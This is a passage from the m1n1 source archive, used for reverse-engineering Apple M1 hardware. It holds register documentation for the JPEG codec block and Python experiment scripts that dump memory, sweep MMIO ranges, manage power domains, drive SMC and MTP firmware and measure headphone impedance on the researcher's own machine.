4:0:0 ### REG_0x2c (+0x002C) This register is not fully understood yet. This register appears to be 1 bit wide. It is readable/writable. The driver sets this register to 0 when decoding and 1 when encoding. If it is not set to 1 when encoding, only headers will be output. The interrupt handler makes a decision based on this register. ### REG_0x30 (+0x0030) This register is not understood yet. This register appears to be 1 bit wide. It is readable/writable. The driver resets this register to 0. ### REG_0x34 (+0x0034) This register is not fully understood yet. This register appears to be 1 bit wide. It is readable/writable. The driver sets this register to 1 when decoding and 0 when encoding. If it is not set to 0 when encoding, the output will be corrupted in some way. ### REG_0x38 (+0x0038) This register is not fully understood yet. This register appears to be 1 bit wide. It is readable/writable. The driver sets this register to 0 when decoding and 1 when encoding. If it is not set to 1 when encoding, nothing will be output. If it is set to 1 when decoding, the output will be a weird tiled format. ## Chroma control ### CHROMA_HALVE_H_TYPE1 (+0x003c) ### CHROMA_HALVE_H_TYPE2 (+0x0040) Setting these register to 1 causes chroma to be subsampled horizontally. The second register produces a different result from the first register. It is speculated that this is related to chroma siting, but this has not been verified yet. If both the second and the first register are set, the second appears to win. ### CHROMA_HALVE_V_TYPE1 (+0x0044) ### CHROMA_HALVE_V_TYPE2 (+0x0048) Setting these register to 1 causes chroma to be subsampled vertically. The second register produces a different result from the first register. It is speculated that this is related to chroma siting, but this has not been verified yet. If both the second and the first register are set, the second appears to win. ### CHROMA_DOUBLE_H (+0x004c) Setting this register to 1 causes chroma to be doubled/interpolated horizontally. ### CHROMA_QUADRUPLE_H (+0x0050) Setting this register to 1 causes chroma to be quadrupled/interpolated horizontally. If both this and the previous register are set, double appears to win. ### CHROMA_DOUBLE_V (+0x0054) Setting this register to 1 causes chroma to be doubled/interpolated vertically. ## Pixel data control ### PX_USE_PLANE1 (+0x0058) Setting this register to 1 enables use of the second pixel plane. ### PX_TILES_W (+0x005c) This register specifies the width of the image in tiles/MCUs/macroblocks, where the macroblock size depends on the chroma subsampling mode, i.e. divroundup by 8 for 4:4:4, by 16 for 4:2:2 and 4:2:0, by 32 for 4:1:1 (FIXME verify this again). This register is 16 bits wide. ### PX_TILES_H (+0x0060) This register specifies the height of the image in tiles/MCUs/macroblocks, where the macroblock size depends on the chroma subsampling mode, i.e. divroundup by 16 for 4:2:0 or else by 8 (FIXME verify this again). This register is 16 bits wide. ### PX_PLANE0_WIDTH (+0x0064) This register specifies the width of the image data in plane 0, in bytes, minus 1. When decoding, it is important to set this correctly for the edge to be processed properly. This register is 20 bits wide, even though the driver will sometimes write 0xffffffff. ### PX_PLANE0_HEIGHT (+0x0068) This register specifies the height of the image data in plane 0, in rows, minus 1. When decoding, it might be important to set this correctly for the edge to be processed properly. This register is 16 bits wide, even though the driver will sometimes write 0xffffffff. ### PX_PLANE0_TILING_H (+0x006c) This register somehow controls how pixel data matches up with subsampled chroma data, but the details are not understood yet. Valid range 0-31. ### PX_PLANE0_TILING_V (+0x0070) This register somehow controls how pixel data matches up with subsampled chroma data, but the details are not understood yet. Valid range 0-31. ### PX_PLANE0_STRIDE (+0x0074) This is the row stride of plane 0 in bytes. This register is 24 bits wide. ### PX_PLANE1_WIDTH (+0x0078) ### PX_PLANE1_HEIGHT (+0x007c) ### PX_PLANE1_TILING_H (+0x0080) ### PX_PLANE1_TILING_V (+0x0084) ### PX_PLANE1_STRIDE (+0x0088) These registers function similarly to the plane 0 registers. ## Input/output pointers ### INPUT_START1 (+0x008c) Input pointer 1 IOVA. ### INPUT_START2 (+0x0090) Input pointer 2 IOVA. ### REG_0x94 (+0x0094) This register is not understood yet. The driver sets this register to a fixed value of 0x1f when decoding and to a value that depends on the chroma subsampling mode when encoding (0xc for 4:4:4, 0x8 for 4:2:2, 0x3 for 4:2:0, 0xb for 4:0:0), but changing it does not seem to do anything. This register is 6 bits wide. ### REG_0x98 (+0x0098) This register is not understood yet. The driver sets this register to a fixed value of 1 when decoding and to a value that depends on the chroma subsampling mode when encoding (2 for 4:4:4/4:2:2/4:0:0, 1 for 4:2:0), but changing it does not seem to do anything. This register is 6 bits wide. ### INPUT_END (+0x009c) End of input data IOVA. For reasons that are not understood, this is ORed with 7 when encoding. ### OUTPUT_START1 (+0x00a0) Output pointer 1 IOVA. ### OUTPUT_START2 (+0x00a4) Output pointer 2 IOVA. ### OUTPUT_END (+0x00a8) End of output data IOVA. ## MATRIX_MULT (+0x00ac-0x00d7) (11 entries) Color space conversion matrix. The full details of the shifting/offset/final two values is not understood yet. ## DITHER (+0x00d8-0x00ff) (10 entries) Dithering when decoding to RGB565. The full details of this is not understood yet. ## Encoding pixel format ### ENCODE_PIXEL_FORMAT (+0x0100) - 0 = RGB101010 - 1 = YUV10 4:4:4 linear - 2 = RGB888 - 3 = RGB565 - 4 = YUV planar (partially tested, details not fully understood) - 5 = YUV8 4:2:2 linear - 6-9 = do something, may not be useful, maybe invalid, not used by driver ### ENCODE_COMPONENT0_POS (+0x0104) ### ENCODE_COMPONENT1_POS (+0x0108) ### ENCODE_COMPONENT2_POS (+0x010c) ### ENCODE_COMPONENT3_POS (+0x0110) These registers control the positions of each component in the parsed pixel data. It is used to allow e.g. flipping between RGBA and BGRA. ### CONVERT_COLOR_SPACE (+0x0114) Setting this register to 1 enables color space conversion when encoding ## Unknown ### REG_0x118 (+0x0118) This register is not understood yet. This register appears to be 1 bit wide. It is readable/writable. This register is set to 0 when decoding and 1 when encoding. ### REG_0x11c (+0x011c) This register is not understood yet. This register appears to be 1 bit wide. It is readable/writable. This register is set to 1 when decoding and 0 when encoding. ### REG_0x120 (+0x0120) This register is not understood yet. This register appears to be 1 bit wide. It is readable/writable. The driver resets this register to 0. ### TILING_ENABLE (+0x0124) This register enables the functionality of the following two registers. The driver sets this register to 1 when decoding if the surface "is tiled." ### TILING_PLANE0 (+0x0128) This register is not fully understood yet. A value greater than 8 causes plane 0 to be reformatted (tiled?), but the details are not understood yet. This register appears to be 5 bit wide. It is readable/writable. ### TILING_PLANE1 (+0x012c) This register is not fully understood yet. A value greater than 8 causes plane 1 to be reformatted (tiled?), but the details are not understood yet. This register appears to be 5 bit wide. It is readable/writable. ## Decoding image size ### DECODE_MACROBLOCKS_W (+0x0130) Sets the width of the decoded image in macroblocks, where the macroblock size depends on the chroma subsampling mode, i.e. divroundup by 8 for 4:4:4, by 16 for 4:2:2 and 4:2:0, by 32 for 4:1:1. This register is 16 bits wide. ### DECODE_MACROBLOCKS_H (+0x0134) Sets the height of the decoded image in macroblocks, where the macroblock size depends on the chroma subsampling mode, i.e. divroundup by 16 for 4:2:0 or else by 8. This register is 16 bits wide. ### RIGHT_EDGE_PIXELS (+0x0138) The driver sets this to the number of pixels that are valid in the rightmost macroblocks, but changing it does not seem to do anything. This register is 5 bits wide. ### BOTTOM_EDGE_PIXELS (+0x013c) The driver sets this to the number of pixels that are valid in the bottommost macroblocks, but changing it does not seem to do anything. This register is 4 bits wide. ### RIGHT_EDGE_SAMPLES (+0x0140) The driver sets this to the number of chroma samples that are valid in the rightmost macroblocks, but changing it does not seem to do anything. This register is 3 bits wide. ### BOTTOM_EDGE_SAMPLES (+0x0144) The driver sets this to the number of chroma samples that are valid in the bottommost macroblocks, but changing it does not seem to do anything. This register is 3 bits wide. ### SCALE_FACTOR (+0x0148) - 0 = /1 - 1 = /2 - 2 = /4 - 3 = /8 This appears to be ignored when encoding. ## Decoding pixel format ### DECODE_PIXEL_FORMAT (+0x014c) - 0 = YUV 444 (2P) - 1 = YUV 422 (2P) - 2 = YUV 420 (2P) - 3 = YUV 422 (1P) - 4 = driver mentions YUV10 444 (1P) but it does not appear to work (driver also says it doesn't work) - 5 = RGB888 - 6 = RGB565 - 7 = driver mentions RGB101010 but it does not appear to work (driver also says it doesn't work) ### YUV422_ORDER (+0x0150) - 0 = Cb Y'0 Cr Y'1 - 1 = Y'0 Cb Y'1 Cr ### RGBA_ORDER (+0x0154) - 0 = BGRA - 1 = RGBA ### RGBA_ALPHA (+0x0158) This value is filled in to alpha bytes when decoding into RGB888 ## Unknown/status ### PLANAR_CHROMA_HALVING (+0x015c) This register is not fully understood yet. Setting it seems to halve the chroma vertically when outputting into planar modes. This is different from the CHROMA_HALVE_V_* registers because it halves the final image, not each macroblock. The driver seems to use this in some cases when scaling down an image by 8, but the details of this are not understood yet. The driver resets this register to 0. ### REG_0x160 (+0x0160) This register is not understood yet. This register appears to be 1 bit wide. It is readable/writable. The driver resets this register to a configurable value that happens to be 0. ### REG_0x164 (+0x0164) This register is not understood yet. It appears to be read-only. The power-up state appears to be 0. The driver reads this register and stores the value after an interrupt occurs. ### (+0x0168) No access to this register has been observed. It appears to be read-only. The power-up state appears to be 0. ### REG_0x16c (+0x016c) This register is not understood yet. It appears to be read-only. The power-up state appears to be 0. The driver reads this register and stores the value after an interrupt occurs. ### REG_0x170 (+0x0170) This register is not understood yet. It appears to be read-only. The power-up state appears to be 0. The driver reads this register and stores the value after an interrupt occurs. ### (+0x0174) No access to this register has been observed. It appears to be read-only. The power-up state appears to be 0. ### PERFCOUNTER (+0x0178) This register appears to be a performance counter. It is not yet understood what is being measured. It appears to be read-only. The driver reads this register and accumulates it after an interrupt occurs. ### (+0x017c) No access to this register has been observed. It appears to be read-only. The power-up state appears to be 0. ### (+0x0180) No access to this register has been observed. It appears to be read-only. The power-up state appears to be 0. ### TIMEOUT (+0x0184) This register configures the timeout. It is not yet understood what units this is in. This register is 32 bits wide. ### HWREV (+0x0188) This register contains the hardware revision. On the M1 Max, it is 0xd1013. ### REG_0x18c (+0x018c) No access to this register has been observed. This register appears to be 2 bits wide. It is readable/writable. ### REG_0x190 (+0x0190) No access to this register has been observed. This register appears to be 2 bits wide. It is readable/writable. ### REG_0x194 (+0x0194) No access to this register has been observed. This register appears to be 4 bits wide. It is readable/writable. ### REG_0x198 (+0x0198) No access to this register has been observed. This register appears to be 4 bits wide. It is readable/writable. ### REG_0x19c (+0x019c) This register is not understood yet. This register appears to be 1 bit wide. It is readable/writable. The driver under some conditions writes a 1 here. ## RST logging / unknown ### ENABLE_RST_LOGGING (+0x01a0) If this register is set to 1, some data about RST blocks will be logged when encoding. ### RST_LOG_ENTRIES (+0x01a4) This register will contain the number of RST log entries. ### REG_0x1a8 (+0x01a8) ### REG_0x1ac (+0x01ac) ### REG_0x1b0 (+0x01b0) This register is not understood yet. This register appears to be 1 bit wide. It is readable/writable. ### REG_0x1b4 (+0x01b4) ### REG_0x1b8 (+0x01b8) ### REG_0x1bc (+0x01bc) This register is not understood yet. This register appears to be 32 bit wide. It is readable/writable. ### REG_0x1c0 (+0x01c0) ### REG_0x1c4 (+0x01c4) This register is not understood yet. This register appears to be 16 bit wide. It is readable/writable. ### REG_0x1c8 (+0x01c8) This register is not understood yet. This register appears to be 1 bit wide. It is readable/writable. ### REG_0x1cc (+0x01cc) ### REG_0x1d0 (+0x01d0) ### REG_0x1d4 (+0x01d4) ### REG_0x1d8 (+0x01d8) This register is not understood yet. This register appears to be 32 bit wide. It is readable/writable. ### REG_0x1dc (+0x01dc) This register is not understood yet. This register appears to be 1 bit wide. It is readable/writable. ### REG_0x1e0 (+0x01e0) This register is not understood yet. This register appears to be 14 bit wide. It is readable/writable. ### REG_0x1e4 (+0x01e4) This register is not understood yet. This register appears to be 13 bit wide. It is readable/writable. ### REG_0x1e8 (+0x01e8) This register is not understood yet. This register appears to be 9 bit wide. It is readable/writable. ### REG_0x1ec (+0x01ec) This register is not understood yet. This register appears to be 1 bit wide. It is readable/writable. ### REG_0x1f0 (+0x01f0) This register is not understood yet. This register appears to be 14 bit wide. It is readable/writable. ### REG_0x1f4 (+0x01f4) This register is not understood yet. This register appears to be 13 bit wide. It is readable/writable. ### REG_0x1f8 (+0x01f8) This register is not understood yet. This register appears to be 9 bit wide. It is readable/writable. ## Compressed pixel format / Compressed DMA / unknown ### REG_0x1fc (+0x01fc) ### REG_0x200 (+0x0200) No access to this register has been observed. This register appears to be 2 bits wide. It is readable/writable. ### REG_0x204 (+0x0204) ### REG_0x208 (+0x0208) This register is not understood yet. This register appears to be 32 bit wide. It is readable/writable. ### REG_0x20c (+0x020c) ### REG_0x210 (+0x0210) ### REG_0x214 (+0x0214) ### REG_0x218 (+0x0218) This register is not understood yet. This register appears to be 17 bit wide. It is readable/writable. ### REG_0x21c (+0x021c) ### REG_0x220 (+0x0220) This register is not understood yet. This register appears to be 16 bit wide. It is readable/writable. ### REG_0x224 (+0x0224) ### REG_0x228 (+0x0228) This register is not understood yet. This register appears to be 17 bit wide. It is readable/writable. ### REG_0x22c (+0x022c) ### REG_0x230 (+0x0230) ### REG_0x234 (+0x0234) This register is not understood yet. This register appears to be 16 bit wide. It is readable/writable. ### REG_0x238 (+0x0238) This register is not understood yet. This register appears to be 1 bit wide. It is readable/writable. ### REG_0x23c (+0x023c) ### REG_0x240 (+0x0240) This register is not understood yet. This register appears to be 4 bit wide. It is readable/writable. ### REG_0x244 (+0x0244) ### REG_0x248 (+0x0248) This register is not understood yet. This register appears to be 8 bit wide. It is readable/writable. ### REG_0x24c (+0x024c) This register is not understood yet. This register appears to be 1 bit wide. It is readable/writable. ### REG_0x250 (+0x0250) ### REG_0x254 (+0x0254) This register is not understood yet. This register appears to be 4 bit wide. It is readable/writable. ### REG_0x258 (+0x0258) ### REG_0x25c (+0x025c) This register is not understood yet. This register appears to be 8 bit wide. It is readable/writable. ## REG_0x260 (+0x0260) ## REG_0x264 (+0x0264) No access to this register has been observed. This register appears to be 1 bit wide. It is readable/writable. ## REG_0x268 (+0x0268) ## REG_0x26c (+0x026c) No access to this register has been observed. This register appears to be 7 bit wide. It is readable/writable. ## (+0x0270-0x027f) No access to this register has been observed. It appears to be read-only. The power-up state appears to be 0. ## REG_0x280 (+0x0280) No access to this register has been observed. This register appears to be 1 bit wide. It is readable/writable. ## (+0x0284-0x0fff) No access to this register has been observed. It appears to be read-only. The power-up state appears to be 0. ## JPEG I/O related ### JPEG_IO_FLAGS (+0x1000) - bit0-2 control subsampling mode output into the JPEG when encoding - 0 = 4:4:4 - 1 = 4:2:2 - 2 = 4:2:0 - 3 = monochrome - 4 = 4 components ??? seems to work with 422 with 444 tiling params ????? - 6 = indicate 4:1:1 in file, but setting CODEC = 2 doesn't actually work (broken) - bit3 needs to be set when decoding. It must be unset when encoding. This is not fully understood yet - bit4 causes macroblocks to _not_ be flipped horizontally. It affects both encoding and decoding. - bit5 causes chunks of 8 bytes to _not_ be reversed. It affects both encoding and decoding. ### REG_0x1004 (+0x1004) This register is not fully understood yet. It is set to 1 to kick off an operation. Writing to this register while MODE is set incorrectly can trigger an exception. ### REG_0x1008 (+0x1008) No access to this register has been observed. This register is at least 1 bit wide. It appears to be read-only. The power-up state appears to be 1. ### QTBL_SEL (+0x100c) This register selects the quantization table in use for each component. - bit0-1 = component 0 - bit2-3 = component 1 - bit4-5 = component 2 - bit6-7 = component 3? ### HUFFMAN_TABLE (+0x1010) This register controls Huffman tables used. The details of this register are not fully understood yet. This register is 8 bits wide. ### RST_INTERVAL (+0x1014) This register controls the interval at which RST markers will be generated when encoding. This register is 16 bits wide. ### JPEG_HEIGHT (+0x1018) This register specifies the height of the JPEG when encoding. It appears to only affect the header. This register is 16 bits wide. ### JPEG_WIDTH (+0x101c) This register specifies the width of the JPEG when encoding. This register is 16 bits wide. ### COMPRESSED_BYTES (+0x1020) This register will contain the final size of the JPEG when encoding ### JPEG_OUTPUT_FLAGS (+0x1024) - bit0 doesn't seem to do anything - bit1 = output only SOS/EOI, no SOI/DQT/SOF0/DHT - bit2 = output SOF0 after DHT instead of before it - bit3 doesn't seem to do anything - bit4 not sure exactly what this does, but it makes compression worse ### REG_0x1028 (+0x1028) This register is not understood yet. The driver sets this register to 0x400 when decoding. This register appears to be 32 bits wide, but writing 0xffffffff results in 0x8000071f. ### REG_0x102c (+0x102c) This register is not understood yet. The driver reads this register and does something with it after an interrupt occurs. ### BITSTREAM_CORRUPTION (+0x1030) This register is not understood yet. It supposedly contains information about bitstream corruption. ## (+0x1034-0x107f) No access to this register has been observed. It appears to be read-only. The power-up state appears to be 0. ## REG_0x1080 (+0x1080) No access to this register has been observed. This register appears to be 5 bit wide. It is readable/writable. ## REG_0x1084 (+0x1084) No access to this register has been observed. This register appears to be 7 bit wide. It is readable/writable. ## (+0x1088) No access to this register has been observed. It appears to be read-only. The power-up state appears to be 0. ## REG_0x108c (+0x108c) No access to this register has been observed. This register appears to be 32 bit wide. It is readable/writable. ## REG_0x1090 (+0x1090) No access to this register has been observed. This register appears to be 8 bit wide. It is readable/writable. ## (+0x1094-0x10df) No access to this register has been observed. It appears to be read-only. The power-up state appears to be 0. ## SHIKINO_VERSION_MAGIC0 (+0x10e0) ## SHIKINO_VERSION_MAGIC1 (+0x10e4) ## SHIKINO_VERSION_MAGIC2 (+0x10e8) ## SHIKINO_VERSION_MAGIC3 (+0x10ec) ## SHIKINO_VERSION_MAGIC4 (+0x10f0) Contains ASCII text 'SHIKINO KJN-7GI 0001' ## (+0x10f4-0x10ff) No access to this register has been observed. It appears to be read-only. The power-up state appears to be 0. ## QTBL (+0x1100-0x11ff) Quantization tables. The exact layout is not understood yet (zigzag or not?) ## (+0x1200-0x1fff) No access to this register has been observed. ## RSTLOG (+0x2000-0x2fff) RST log. The details of this are not understood yet. ## (+0x3000-0x3fff) No access to this register has been observed. m1n1-1.4.11/proxyclient/experiments/memdump.py000077500000000000000000000006641453754430200213330ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * p = 0x800000000 limit = u.base block = 0x40000 while p < limit: f = "mem/0x%x.bin" % p if os.path.exists(f): p += block continue print("dumping 0x%x..." % p) data = iface.readmem(p, block) open(f, "wb").write(data) p += block m1n1-1.4.11/proxyclient/experiments/mmio_sweep.py000077500000000000000000000125101453754430200220240ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib import time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.loadobjs import * import argparse import numpy as np argparser = argparse.ArgumentParser() argparser.add_argument("-d", "--domain", type=str, help='Look for MMIO range associated with a particular' ' power domain') argparser.add_argument("-p", "--print", action='store_true', help='Print power domain list') args = argparser.parse_args() if args.print: for dev in u.adt["/arm-io/pmgr"].devices: print(dev.name) sys.exit(0) granule = 0x4000 lp = LinkedProgram(u) lp.load_inline_c(f''' #define GRANULE {granule} ''' + ''' #include "exception.h" #include "utils.h" #include "soc.h" bool is_t6000(void) { return chip_id == T6000; } void sweep(u64 from, u64 to, u64 target) { u32 *mask = (u32 *) target; exc_guard = GUARD_MARK | GUARD_SILENT; int bitp = 0; for (u64 p = from; p < to; p += GRANULE) { sysop("dsb sy"); sysop("isb"); bool hit = read32(p) != 0xabad1dea; if (hit) *mask |= (1 << bitp); else *mask &= ~(1 << bitp); if (++bitp >= 32) { bitp = 0; mask++; } } sysop("dsb sy"); sysop("isb"); } ''') def do_sweep(maskrange): masklen = (maskrange.stop - maskrange.start) // granule // 32 * 4 + 4 mask_base = u.heap.malloc(masklen) lp.sweep(maskrange.start, maskrange.stop, mask_base) mask = iface.readmem(mask_base, masklen) u.heap.free(mask_base) return np.frombuffer(mask, dtype=np.uint8) def describe_mask(mask, maskrange): ''' Describe mask in terms of hot from-to ranges ''' ranges = [] prev_hit = False mask = np.concatenate((mask, [0])) for i in range(len(mask)*8): hit = mask[i//8] & (1<<(i%8)) != 0 if hit and not prev_hit: start = maskrange.start + i*granule if not hit and prev_hit: end = maskrange.start + i*granule ranges.append((start, end)) prev_hit = hit return ranges if lp.is_t6000(): maskrange = range(0x2_9000_0000, 0x4_0000_0000) else: maskrange = range(0x2_2000_0000, 0x3_0000_0000) pd_did_enable = set() pmgr = u.adt["/arm-io/pmgr"] ps_dev_by_id = {dev.id: dev for dev in pmgr.devices} ps_deps = dict() ps_addrs = dict() for dev in pmgr.devices: ps = pmgr.ps_regs[dev.psreg] addr = pmgr.get_reg(ps.reg)[0] + ps.offset + dev.psidx * 8 if lp.is_t6000() and dev.name.startswith("AOP_"): addr = 0x292284000 + (dev.id - 403) * 8 ps_addrs[dev.name] = addr ps_deps[dev.name] = [ ps_dev_by_id[idx].name for idx in dev.parents if idx in ps_dev_by_id ] if lp.is_t6000(): # on t6000, guess the AOP PD hierarchy (undocumented # in ADT) by analogy with t8103 ps_deps["AOP_GPIO"] += ["AOP_FILTER"] ps_deps["AOP_BASE"] += ["AOP_FILTER"] ps_deps["AOP_FR"] += ["AOP_FILTER"] ps_deps["AOP_SPMI0"] += ["AOP_FR"] ps_deps["AOP_SPMI1"] += ["AOP_FR"] ps_deps["AOP_LEAP_CLK"] += ["AOP_FILTER"] ps_deps["AOP_SHIM"] += ["AOP_BASE"] ps_deps["AOP_UART0"] += ["AOP_SHIM"] ps_deps["AOP_UART1"] += ["AOP_SHIM"] ps_deps["AOP_UART2"] += ["AOP_SHIM"] ps_deps["AOP_SCM"] += ["AOP_BASE", "AOP_FR"] ps_deps["AOP_CPU"] += ["AOP_BASE"] ps_deps["AOP_I2CM0"] += ["AOP_FR"] ps_deps["AOP_I2CM1"] += ["AOP_FR"] ps_deps["AOP_MCA0"] += ["AOP_FR", "AOP_SHIM"] ps_deps["AOP_MCA1"] += ["AOP_FR", "AOP_SHIM"] ps_deps["AOP_SPI0"] += ["AOP_FR"] ps_deps["AOP_LEAP"] += ["AOP_LEAP_CLK"] ps_deps["AOP_AUDIO_SHIM"] += ["AOP_LEAP_CLK"] ps_deps["AOP_AUDIO_ADMA0"] += ["AOP_FR"] ps_deps["AOP_PDMC_LPD"] += ["AOP_SHIM"] ps_deps["AOP_SRAM"] += ["AOP_SCM", "AOP_CPU"] def ps_pstate(name): return p.read32(ps_addrs[name]) & 0x0f def ps_enabled(name): return p.read32(ps_addrs[name]) & 0x0f == 0x0f def ps_set_pstate(name, desired): p.mask32(ps_addrs[name], 0xf, desired) time.sleep(0.001) actual = p.read32(ps_addrs[name]) if actual & 0xf0 != desired << 4: print("WARNING: %s stuck at pstate 0x%x (desired 0x%x)" \ % (name, actual >> 4, desired)) def ps_enable(name): print("Enabling %s..." % name) ps_set_pstate(name, 0xf) def ps_disable(name): p.mask32(ps_addrs[name], 0xf, 0x0) if args.domain: ps_disable(args.domain) to_enable = set([args.domain]) for dev in reversed(pmgr.devices): if dev.name not in to_enable \ or ps_enabled(dev.name): continue for dep in ps_deps[dev.name]: to_enable.add(dep) save = dict() for dev in pmgr.devices: if dev.name in to_enable: save[dev.name] = ps_pstate(dev.name) if dev.name != args.domain: ps_enable(dev.name) premask = do_sweep(maskrange) ps_enable(args.domain) postmask = do_sweep(maskrange) print("Reverting...") for dev in reversed(pmgr.devices): if dev.name in to_enable and dev.name: ps_set_pstate(dev.name, save[dev.name]) hitmask = premask ^ postmask if np.count_nonzero(hitmask & premask): print("Que? Some ranges disappeared?") else: # no --domain flag, do a plain sweep hitmask = do_sweep(maskrange) al = u.adt.build_addr_lookup() for start, stop in describe_mask(hitmask, maskrange): # bit ugly but it makes addrlookup do all the heavy lifting for us al.add(range(start, stop), "hit") print("Hits:") for zone, value in al.items(): if ((zone.start - 1) // granule + 1) * granule >= zone.stop: continue if not any([v[0] == "hit" for v in value]): continue labels = set([v[0] for v in value if v[0] != "hit"]) print(f"\t{zone.start:9x} - {zone.stop:9x} | {' '.join(labels)}") m1n1-1.4.11/proxyclient/experiments/mtp.py000066400000000000000000000046321453754430200204630ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib, fnmatch import time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import struct from m1n1.setup import * from m1n1.fw.asc import StandardASC from m1n1.hw.dart import DART from m1n1.hw.dockchannel import DockChannel from m1n1.fw.smc import SMCClient, SMCError from m1n1.shell import run_shell from m1n1.fw.mtp import * from construct import * smc_addr = u.adt["arm-io/smc"].get_reg(0)[0] smc = SMCClient(u, smc_addr) smc.start() smc.start_ep(0x20) smc.verbose = 0 p.dapf_init_all() dart = DART.from_adt(u, "/arm-io/dart-mtp", iova_range=(0x8000, 0x100000)) dart.dart.regs.TCR[1].set(BYPASS_DAPF=0, BYPASS_DART=0, TRANSLATE_ENABLE=1) irq_base = u.adt["/arm-io/dockchannel-mtp"].get_reg(1)[0] fifo_base = u.adt["/arm-io/dockchannel-mtp"].get_reg(2)[0] dc = DockChannel(u, irq_base, fifo_base, 1) node = u.adt["/arm-io/dockchannel-mtp/mtp-transport"] while dc.rx_count: dc.read(dc.rx_count) mtp_addr = u.adt["/arm-io/mtp"].get_reg(0)[0] mtp = StandardASC(u, mtp_addr, dart, stream=1) mtp.boot() mtp.verbose = 3 mtp.allow_phys = True print("pre start") def poll(): mtp.work() mp.work_pending() try: mp = MTPProtocol(u, node, mtp, dc, smc) mp.wait_init("keyboard") #mp.wait_init("multi_touch") mp.wait_init("stm") mtp.stop() mtp.start() mon.poll() for i in range(256): mp.stm.get_report(i) mtp.work() mp.work_pending() #for i in range(256): #if i in (0x40, 0x42): #continue #m = UnkDeviceControlMsg() #m.command = i #for args in (b"", b"\x00", b"\x01", b"\x02", #b"\x01\x00", b"\x01\x01", b"\x01\x02", #b"\x00\x01", b"\x00\x02", b"\x00\x00", #b"\x00\x00\x00", #b"\x00\x00\x00\x00", #b"\x00\x00\x00\x00\x00", #b"\x00\x00\x00\x00\x00\x00", #b"\x00\x00\x00\x00\x00\x00\x00", #b"\x00\x00\x00\x00\x00\x00\x00\x00",): #m.args = args #print(f"{m.command:#x} {m.args.hex()}") #mp.comm.device_control(m) #mon.poll() #mtp.stop() #mon.poll() #mtp.start() #mon.poll() #mtp.stop(1) ##reset(1) ##p.dapf_init_all() #mtp.boot() run_shell(locals(), poll_func=poll) finally: #mtp.stop() p.reboot() m1n1-1.4.11/proxyclient/experiments/ohmmeter.py000077500000000000000000000046231453754430200215060ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib import time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.hw.i2c import I2C, I2CRegMapDev from m1n1.hw.codecs.cs42l84 import * class CS42L84(I2CRegMapDev): REGMAP = CS42L84Regs ADDRESSING = (0, 2) def read_devid(): pass def sense_Z(): r = l84.regs r.HS_CLAMP_DISABLE.set(HS_CLAMP_DISABLE=1) r.DAC_CTRL2.set(PULLDOWN_R=E_PULLDOWN_R.R_1K1OHMS) r.DCID_CTRL1.set(Z_RANGE=E_DCID_Z_RANGE.UNK2) r.DCID_CTRL2.set(GND_SEL=E_DCID_GND_SEL.HS3) r.MSM_BLOCK_EN3.set(DCID_EN=1) r.DCID_CTRL3.set(START=0) r.DCID_CTRL3.set(START=1) while not r.DCID_STATUS.reg.DONE: pass reading = r.DCID_STATUS.reg.OVERALL offset_trim = r.DCID_TRIM_OFFSET.val - 128 slope_trim = r.DCID_TRIM_SLOPE.val - 128 pulldown_trim = r.DCID_PULLDOWN_TRIM.val - 128 Y_overall = ((reading + 0.5) * 0.01086 - 1.0 / (1 - slope_trim * 0.001375)) \ / (614.0 + offset_trim * 0.125) Y_pulldown = 1.0 / (1100 - pulldown_trim*2) if Y_overall > Y_pulldown: Z_headphones = 1.0 / (Y_overall - Y_pulldown) else: Z_headphones = float('inf') r.MSM_BLOCK_EN3.set(DCID_EN=0) r.DAC_CTRL2.set(PULLDOWN_R=E_PULLDOWN_R.NONE) return Z_headphones def init_ring_tip_sense(): l84.regs.MIC_DET_CTRL4.set(LATCH_TO_VP=1) l84.regs.TIP_SENSE_CTRL2.set(CTRL=E_TIP_SENSE_CTRL.SHORT_DET) l84.regs.RING_SENSE_CTRL.set(INV=1, UNK1=1, RISETIME=E_DEBOUNCE_TIME.T_125MS, FALLTIME=E_DEBOUNCE_TIME.T_125MS) l84.regs.TIP_SENSE_CTRL.set(INV=1, RISETIME=E_DEBOUNCE_TIME.T_500MS, FALLTIME=E_DEBOUNCE_TIME.T_125MS) l84.regs.MSM_BLOCK_EN3.set(TR_SENSE_EN=1) def wait_for_plug(): while not l84.regs.TR_SENSE_STATUS.reg.TIP_PLUG: time.sleep(0.001) def wait_for_unplug(): while l84.regs.TR_SENSE_STATUS.reg.TIP_UNPLUG: time.sleep(0.001) p.pmgr_adt_clocks_enable("/arm-io/i2c2") i2c2 = I2C(u, "/arm-io/i2c2") p.write32(0x2921f0010, 0x76a02) # invoke reset p.write32(0x2921f0010, 0x76a03) # out of reset l84 = CS42L84(i2c2, 0x4b) init_ring_tip_sense() while True: print("Waiting for plug... ", end=""); sys.stdout.flush() wait_for_plug() print("measuring... ", end=""); sys.stdout.flush() print(f"{sense_Z():.1f} ohms... ", end=""); sys.stdout.flush() wait_for_unplug() print("yanked") m1n1-1.4.11/proxyclient/experiments/pcie_enable_devices.py000077500000000000000000000006071453754430200236140ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.fw.smc import SMCClient smc_addr = u.adt["arm-io/smc"].get_reg(0)[0] smc = SMCClient(u, smc_addr, None) smc.start() smc.start_ep(0x20) smc.smcep.write32("gP0d", 0x800001) smc.smcep.write32("gP1a", 1) smc.stop() m1n1-1.4.11/proxyclient/experiments/prores.py000066400000000000000000000744371453754430200212070ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.hw.dart8110 import DART8110, DART8110Regs from m1n1.hw.prores import * from m1n1.utils import * import time def divroundup(val, div): return (val + div - 1) // div def bswp16(x): return (x >> 8) | ((x & 0xFF) 